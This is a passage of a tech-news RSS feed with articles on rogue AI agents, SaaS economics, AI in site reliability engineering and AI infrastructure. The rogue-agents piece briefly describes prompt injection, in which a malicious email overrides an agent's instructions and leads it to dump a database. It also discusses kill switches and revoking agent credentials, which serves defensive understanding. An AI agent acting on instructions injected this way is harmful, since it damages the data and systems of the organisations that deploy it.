<a class="slashpop" href="http://twitter.com/home?status=US+Police+Now+Armed+With+Israeli+Spy+Vans+Simulating+Mobile+Phone+Towers%3A+https%3A%2F%2Fmobile.slashdot.org%2Fstory%2F26%2F07%2F21%2F0541215%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fmobile.slashdot.org%2Fstory%2F26%2F07%2F21%2F0541215%2Fus-police-now-armed-with-israeli-spy-vans-simulating-mobile-phone-towers%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://mobile.slashdot.org/story/26/07/21/0541215/us-police-now-armed-with-israeli-spy-vans-simulating-mobile-phone-towers?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT leaders confident but cooked when it comes to rogue AI agents]]></title>
<description><![CDATA[A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.



Nine in 10 IT and security leaders surveyed by IT observability v...]]></description>
<link>https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</guid>
<pubDate>Tue, 21 Jul 2026 12:09:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.</p>



<p class="wp-block-paragraph">Nine in 10 IT and security leaders surveyed by <a href="https://www.cio.com/article/4176067/the-ai-governance-imperative-you-cant-afford-to-ignore.html?utm=hybrid_search">IT observability</a> vendor WanAware believe in their capabilities to find malfunctioning agents, but only 26% acknowledge that they can trace the downstream impact within minutes. Over 45% say it would take hours to understand the full impact of an agent incident.</p>



<p class="wp-block-paragraph">That delay between detection and mitigation can be a huge problem, says <a href="https://www.linkedin.com/in/jmcollins/">Jeffrey Collins</a>, WanAware’s CEO. The survey suggests IT leaders are overconfident about their ability to control agents, he adds.</p>



<p class="wp-block-paragraph">And here, timing is critical, Collins says, given that malfunctioning agents can lead to major outages and data breaches — damage that can start within seconds, he notes.</p>



<p class="wp-block-paragraph">“That’s truly the gap here. It’s not if you understand it; it’s when you understand it,” Collins says. “If your average time to just knowing about an event is measured in days, weeks, or months, you have a serious problem right now.”</p>



<p class="wp-block-paragraph">While it’s not always easy to tell whether an agent has gone beyond its scope, it’s even harder to tell the downstream impacts, he adds.</p>



<p class="wp-block-paragraph">“What’s been affected if one machine was compromised, either from our own AI usage as a customer or from someone else’s, what else could happen, and how can we understand that quickly?” Collins asks.</p>



<h2 class="wp-block-heading">Machine speed</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kevin-paige-578547a/">Kevin Paige</a>, field CISO at IT solutions provider C1, agrees that time is of the essence when an AI agent malfunctions.</p>



<p class="wp-block-paragraph">“The problem is that agents move at machine speed, so the gap between an agent malfunctioning and you catching it isn’t measured in minutes, it’s measured in actions,” he says. “Every minute it’s wrong it’s still working, and because it’s usually running on borrowed standing credentials, the damage spreads across everything those credentials can reach before anyone can pin it on the agent.”</p>



<p class="wp-block-paragraph">In many cases, organizations with rogue agents don’t find out from their <a href="https://www.cio.com/article/4195251/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs.html">own detection tools</a>, but from customers, auditors, or broken downstream systems, he says.</p>



<p class="wp-block-paragraph">“That’s the worst way to learn,” Paige adds. “The longer-term cost is trust, because one incident like that and the business pulls back on agents entirely, so failing to contain a malfunction fast is also what stalls adoption.”</p>



<p class="wp-block-paragraph">The problem with detecting <a href="https://www.cio.com/article/4127774/1-5-million-ai-agents-are-at-risk-of-going-rogue-2.html?utm=hybrid_search">rogue agents</a> is that many organizations have built in visibility but not control, he says.</p>



<p class="wp-block-paragraph">“When an agent goes out of scope it’s rarely dramatic,” Paige adds. “Usually, it’s using access it legitimately has, for a purpose nobody signed off on, which means your access model doesn’t even flag it. So you find out after the fact, and you fix it by hand.”</p>



<p class="wp-block-paragraph">IT teams can stop agents that exceed their scope, but only if controls were built in before the agent was deployed, adds <a href="https://www.linkedin.com/in/chrisdcamacho/">Chris Camacho</a>, COO of Abstract Security.</p>



<p class="wp-block-paragraph">“Every agent should have its own identity, narrowly scoped permissions, and a complete audit trail,” he says. “Just as important, organizations need the ability to immediately revoke that identity or suspend the agent without manually hunting through multiple consoles during an incident.”</p>



<p class="wp-block-paragraph">Part of the challenge is that an agent’s activity is spread across identities, cloud platforms, SaaS applications, APIs, and security tools that were not designed to tell a complete story, Camacho says. Security teams often have to piece together events from multiple basic questions such as, what did the agent access, and what changed?</p>



<p class="wp-block-paragraph">“Most organizations know where they’ve deployed AI agents,” he adds. “That’s very different from knowing exactly what an agent did after something unexpected happens.”</p>



<p class="wp-block-paragraph">The organizations that most successfully manage agents won’t be the ones that deploy the most, he says. “They’ll be the ones that can explain every action an agent took, prove it operated within policy, and stop it immediately when it doesn’t,” he adds.</p>



<h2 class="wp-block-heading">Confidence isn’t reality</h2>



<p class="wp-block-paragraph">The survey’s results make sense to <a href="https://www.linkedin.com/in/brinkleyjoseph/">Joe Brinkley</a>, director of offensive security research and community at pentest firm Cobalt. The high confidence in detecting malfunctions is compliance paperwork, whereas the minority of respondents who can detect problems quickly is the reality on the ground, he says.</p>



<p class="wp-block-paragraph">“Tracing agent impact fast is brutal,” Brinkley says. “These systems do not run on fixed code paths. They use nondeterministic reasoning across a web of different APIs. Traditional logs only catch isolated events. They completely miss the full execution chain.”</p>



<p class="wp-block-paragraph">By the time an anomaly alert hits, an agent has already executed multiple downstream actions, he adds.</p>



<p class="wp-block-paragraph">In some cases, agent malfunctions are related to data flow vulnerabilities, such as when a prompt injection from an untrusted input such as a malicious email overwrites the system instructions, he says.</p>



<p class="wp-block-paragraph">“We need to be clear about the actual technology; the AI is not waking up angry,” Brinkley says. “The agent suddenly thinks its official job is to dump your database. It spends tokens as fast as possible to do that.”</p>



<p class="wp-block-paragraph">Agents are also vulnerable to loop failures, when they hit API errors and try to self-correct, he adds.</p>



<p class="wp-block-paragraph">“It hits that same broken endpoint 10,000 times in two minutes,” he says. “It drains your budget and causes a self-inflicted denial of service. It is an automated wrecking ball moving faster than your monitoring can log it.”</p>



<p class="wp-block-paragraph">Brinkley recommends that IT leaders put “hard kill” switches at the API layer to stop agents going out of scope.</p>



<p class="wp-block-paragraph">“You can stop it, but soft guardrails are useless,” he says. “Do not try to patch the prompt or filter the text. You have to treat the agent like a compromised user account. Pull the OAuth tokens and kill the access immediately.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bub – living an artist’s dreams and dreads in New York]]></title>
<description><![CDATA[An autobiographical game about the devastating effects of chronic illness on an artist’s creative life gives players the chance slow the pace right downBub does not look like a traditional video game. Artist and stop-motion animator Case Jernigan spends hours, days, months in his studio drawing, ...]]></description>
<link>https://tsecurity.de/de/3683260/it-nachrichten/bub-living-an-artists-dreams-and-dreads-in-new-york/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683260/it-nachrichten/bub-living-an-artists-dreams-and-dreads-in-new-york/</guid>
<pubDate>Tue, 21 Jul 2026 11:49:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An autobiographical game about the devastating effects of chronic illness on an artist’s creative life gives players the chance slow the pace right down</p><p>Bub<em> </em>does not look like a traditional video game. Artist and stop-motion animator Case Jernigan spends hours, days, months in his studio drawing, painting and delicately cutting out pieces of collected paper, while coder and gameplay designer Todd Anderson builds scripts and physics simulations to make them into a game.</p><p>In Bub, you play through the life of an artist in New York City, making art but also diving into his early memories and imaginative dreams. “You go from present day New York City into his childhood, or different sort of <em>vision</em>s, which are all rendered in stop motion,” says Anderson. “His story is told in the present day, but also how he’s making sense of his past.”</p> <a href="https://www.theguardian.com/games/2026/jul/21/bub-autobiographical-game-new-york-artist">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[SaaS will survive, but lazy SaaS is dead]]></title>
<description><![CDATA[Something interesting happened during an internal evaluation of AI meeting transcription tools at Tungsten Automation. The products worked. They weren’t bad. But sitting across from the pricing, we kept asking the same question: what exactly are we paying for? 



We already had a secure enterpri...]]></description>
<link>https://tsecurity.de/de/3683122/ai-nachrichten/saas-will-survive-but-lazy-saas-is-dead/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683122/ai-nachrichten/saas-will-survive-but-lazy-saas-is-dead/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Something interesting happened during an internal evaluation of AI meeting transcription tools at Tungsten Automation. The products worked. They weren’t bad. But sitting across from the pricing, we kept asking the same question: what exactly are we paying for? </p>



<p class="wp-block-paragraph">We already had a secure enterprise AI environment. Building a meeting summary workflow took days, not months. We customized the outputs, injected our own internal context, and controlled security our way instead of working around someone else’s roadmap. We built it. It works better. We own it.</p>



<p class="wp-block-paragraph">That’s not a knock on those vendors. It’s a signal of something more fundamental happening across enterprise software.</p>



<h2 class="wp-block-heading">The moat was never the product</h2>



<p class="wp-block-paragraph">For two decades, <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html" data-type="link" data-id="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">SaaS</a> rode a favorable asymmetry: building internal tools was hard, integrations were messy, and even modest automation required developers and long timelines. Buying was faster and cheaper than building. That asymmetry fueled the explosion of SaaS into every corner of the enterprise stack.</p>



<p class="wp-block-paragraph">AI is collapsing that asymmetry. Large language models and agentic workflows can orchestrate APIs, move data between systems, generate interfaces, and automate business logic with a fraction of the engineering effort required even two years ago. The integration friction that once protected entire product categories is evaporating.</p>



<p class="wp-block-paragraph">The vendors most exposed are not the deeply embedded enterprise platforms. They’re the lightweight workflow layers, the products that essentially put a polished interface on top of accessible data and relatively straightforward processes. Reporting dashboards. Meeting tools. Narrow productivity applications. These products created value by simplifying implementation. That rationale is getting harder to sustain when implementation is no longer the real barrier.</p>



<p class="wp-block-paragraph">Here’s the part most analyses miss: it’s not just that AI makes development faster. It’s that agents change the integration model entirely. For 30 years, enterprise software was built for humans navigating UIs. Agentic systems don’t use UIs. They call <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">APIs</a>, read from multiple sources simultaneously, and move data freely across systems. The switching costs that once made incumbent software sticky are collapsing, because an agent doesn’t care which UI it used last quarter.</p>



<h2 class="wp-block-heading">The SaaS that survives</h2>



<p class="wp-block-paragraph">The question isn’t whether SaaS survives. It’s which SaaS survives.</p>



<p class="wp-block-paragraph">The companies with durable positions are not the ones with the cleanest interface. They’re the ones that transfer operational risk customers genuinely cannot absorb themselves. Compliance. Regulatory certification. Accumulated domain expertise. Liability.</p>



<p class="wp-block-paragraph">Think about compliant invoicing across 140 countries. That’s not a workflow someone builds in a sprint. The certifications alone take years. A single regulatory change in one jurisdiction can break an AP process for a global enterprise overnight. Customers don’t pay for that capability because it’s technically complex. They pay because they cannot afford to own the risk of getting it wrong.</p>



<p class="wp-block-paragraph">That’s the distinction that matters: AI lowers the cost of building software. It does not lower the cost of absorbing risk. The vendors who understand this are building durable businesses. The ones who don’t are quietly subsidizing their customers’ internal build programs.</p>



<p class="wp-block-paragraph">Software sells features. Platforms sell accountability.</p>



<h2 class="wp-block-heading">The prototype trap</h2>



<p class="wp-block-paragraph">The danger for enterprise buyers right now is overcorrection. Every successful prototype looks like a cost-saving opportunity. Very few survive the jump to production.</p>



<p class="wp-block-paragraph">Building a workflow with <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> is becoming straightforward. Maintaining it is not. Models evolve. Outputs drift. Governance requirements tighten. What worked cleanly in a controlled environment behaves differently at scale, and the failure mode is worse than traditional software. Rule-based automation, when it fails, fails obviously. Agents fail silently, confidently, at scale, often with a completely reasonable-sounding explanation.</p>



<p class="wp-block-paragraph">Engineering teams that take on AI-powered systems need to solve for observability, model drift, access controls, audit trails, and long-term maintenance ownership. In regulated industries, they need to demonstrate exactly how the system reached every decision. That’s not a weekend project. That’s an ongoing operational commitment that compounds over time as models change and regulatory requirements evolve.</p>



<p class="wp-block-paragraph">Before a team decides to replace an external platform with internal AI tooling, the honest question isn’t, “Can we build this?” The real question is, “Are we prepared to own this in production, for years, as the underlying models change beneath us?” Sometimes the answer is yes. Often the answer is no, and the true cost only becomes visible after the vendor contract is canceled.</p>



<h2 class="wp-block-heading">Build vs. partner: a sharper frame</h2>



<p class="wp-block-paragraph">The build vs. buy framing has always been too binary. The right question is build vs. partner.</p>



<p class="wp-block-paragraph">Partner for the capabilities where risk transfer, regulatory complexity, and domain expertise create genuine value your team cannot replicate. Build for the capabilities that actually differentiate your business from your competitors. Don’t burn your best engineers rebuilding compliant invoice processing or production-grade document extraction. Those aren’t competitive advantages. They’re table stakes, and someone else has already paid the cost, across decades, to make them reliable.</p>



<p class="wp-block-paragraph">The organizations getting this right are honest about where they create unique value. They focus development there, and partner for everything else. The ones getting it wrong are vibe-coding solutions to non-differentiating problems while their actual competitive moat goes unattended.</p>



<h2 class="wp-block-heading">The true value of software</h2>



<p class="wp-block-paragraph">We’re not watching the death of SaaS. We’re watching the end of the friction-based value proposition: the idea that software is worth renewing because integration used to be painful. That rationale is largely gone.</p>



<p class="wp-block-paragraph">What survives is software that does something customers cannot reasonably replicate internally: absorb risk, maintain regulatory compliance, deliver operational reliability at scale, and bring genuine domain expertise into a production-grade system that someone else already stress-tested for years.</p>



<p class="wp-block-paragraph">The vendors who recognize this are already repositioning around accountability, governance, and outcomes. The ones who haven’t will find the next renewal conversation noticeably harder.</p>



<p class="wp-block-paragraph">Software sells features. Platforms sell accountability. That distinction is about to separate a lot of winners from a lot of cautionary tales.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI impacts site reliability engineering]]></title>
<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]></title>
<description><![CDATA[Every enterprise AI conversation seems to begin with the same question: Which model should we use?



I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better r...]]></description>
<link>https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</guid>
<pubDate>Tue, 21 Jul 2026 11:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every enterprise AI conversation seems to begin with the same question: Which model should we use?</p>



<p class="wp-block-paragraph">I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.</p>



<p class="wp-block-paragraph">But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.</p>



<p class="wp-block-paragraph">The model matters. But it is not where most enterprises will struggle next.</p>



<p class="wp-block-paragraph">The next AI bottleneck is the infrastructure behind the model.</p>



<p class="wp-block-paragraph">I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.</p>



<p class="wp-block-paragraph">That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.</p>



<h2 class="wp-block-heading">Pilots hide the hard part</h2>



<p class="wp-block-paragraph">Most organizations can build an <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">impressive AI pilot</a>. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.</p>



<p class="wp-block-paragraph">The harder part starts when that pilot moves into a <a href="https://www.cio.com/article/4161509/ai-hype-to-ai-value-escaping-the-activity-trap.html">real production process</a>.</p>



